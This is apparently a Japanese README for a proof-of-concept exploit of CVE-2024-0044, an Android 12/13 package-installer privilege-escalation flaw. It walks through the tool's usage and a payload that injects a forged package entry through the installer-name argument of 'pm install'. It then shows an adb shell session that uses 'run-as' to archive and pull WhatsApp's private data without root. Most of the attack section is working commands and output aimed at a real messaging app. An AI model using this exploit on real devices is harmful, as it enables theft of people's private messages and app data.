CVE 2024 0044

CVE-2024-0044は、PackageInstallerService.javaファイルのcreateSessionInternal関数で特定された、Androidバージョン12および13に影響する高深刻度の脆弱性です。この脆弱性により、攻撃者は「任意のアプリとして実行」攻撃を行い、ユーザーの操作を必要とせずにローカルの権限昇格を引き起こす可能性があります。問題は、createSessionInternal関数内の不適切な入力検証に起因します。攻撃者はセッション作成プロセスを操作してこれを悪用し、機密データへの不正アクセスや影響を受けるデバイスでの不正なアクションを実行する可能性があります。

このエクスプロイトはMeta securityによって発見されました。

概念実証はTiny hackによって要約され共有されました。

セキュリティパッチの詳細はAndroidセキュリティ速報にあります。

前提条件

スマートフォンでUSBデバッグを有効にし、USBケーブルまたはワイヤレスデバッグを使用してマシンに接続します。
マシンに任意のAPKをダウンロードします。F-DROIDを使用できます。

ツールの使い方

python3 cve_2024_0044.py -h
                                                                               
##########################################################################################
###############S%%#####################################################%%S################
###############%++*S##################################################?++?################
################%++*S###############################################S*++?#################
#################%+++%#############################################S*++%##################
##################S*++%###########################################%+++%###################
###################S*++?#########SSS%%?????***?????%%%SS#########%++*S####################
#####################?++*##S%%?**+++++++++++++++++++++++**??%S##?++*S#####################
######################?++**+++++++++++++++++++++++++++++++++++**++*#######################
###################S%?*++++++++++++++++++++++++++++++++++++++++++++?%S####################
#################%?+++++++++++++++++++++++++++++++++++++++++++++++++++*%S#################
##############S?+++++++++++++++++++++++++++++++++++++++++++++++++++++++++?S###############
############S?+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*S#############
##########S?+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*S###########
#########%+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++?##########
#######S*+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*S########
######%++++++++++++++*%SS%?+++++++++++++++++++++++++++++++++++?%SS%*++++++++++++++%#######
#####%++++++++++++++*######%+++++++++++++++++++++++++++++++++%######?++++++++++++++?######
####?+++++++++++++++*######S+++++++++++++++++++++++++++++++++%######?+++++++++++++++?#####
###%+++++++++++++++++*%SS%?+++++++++++++++++++++++++++++++++++?%SS%*+++++++++++++++++?####
##S+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++%###
##*++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++S##
#%+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++?##
#*++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++S#
S+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++%#      
        
usage: cve_2024_0044.py [-h] -P P -A A

CVE-2024-0044: run-as any app @Pl4int3xt

options:
  -h, --help  show this help message and exit
  -P P        package name (default: None)
  -A A        apk file path (default: None)

-Pは、実行したいターゲットパッケージ名を指定するために使用します。

-Aは、デバイスにプッシュするAPKファイルを指定します。

エクスプロイト

ツールを実行します。 python3 cve_2024_0044.py -P com.whatsapp -A /home/pl4int3xt/Downloads/F-Droid.apk

以下のようなpayload.txtファイルが生成されます。

PAYLOAD="@null
victim 10289 1 /data/user/0 default:targetSdkVersion=28 none 0 0 1 @null"
pm install -i "$PAYLOAD" /data/local/tmp/F-Droid.apk

ツールは一部の作業を自動化しますが、他の部分は手動です。ペイロードを生成した後に終了し、すべてのコマンドを手動で実行するか、指示に従って続行することができます。

次に、adb shellを使用してデバイスに接続し、ペイロードを貼り付け、最後のコマンドの後に`Success`メッセージが返されることを確認する必要があります。

pl4int3xt ~>  adb shell
pixel:/ $ PAYLOAD="@null
> victim 10289 1 /data/user/0 default:targetSdkVersion=28 none 0 0 1 @null"
pixel:/ $ pm install -i "$PAYLOAD" /data/local/tmp/F-Droid.apk
Success

次に、以下のコマンドを使用してWhatsAppデータを取得します。

pixel:/ $ mkdir /data/local/tmp/wa/                                                                            
pixel:/ $ touch /data/local/tmp/wa/wa.tar
pixel:/ $ chmod -R 0777 /data/local/tmp/wa/
pixel:/ $ run-as victim
pixel:/data/user/0 $ tar -cf /data/local/tmp/wa/wa.tar com.whatsapp

一時ディレクトリを作成: mkdir /data/local/tmp/wa/

tarファイルのプレースホルダを作成: touch /data/local/tmp/wa/wa.tar

広範なパーミッションを設定: chmod -R 0777 /data/local/tmp/wa/ により、任意のユーザーがこのディレクトリ内で読み取り、書き込み、実行できるようにします。

ユーザーコンテキストを切り替え: run-as victim により、"victim"ユーザーと同じパーミッションを取得します。

対象アプリケーションのデータをアーカイブ: tar -cf /data/local/tmp/wa/wa.tar com.whatsapp でWhatsAppデータディレクトリのtarballを作成します。

最後にデータをプルします。

adb pull /data/local/tmp/wa/wa.tar

データは7zまたは他のツールを使用して抽出できます。

Whatsapp chat exporterを使用してHTMLに変換することもできます。

これにより、デバイスにrootアクセスがなくてもWhatsAppデータを取得できます。

c-CVE-2024-0044

人気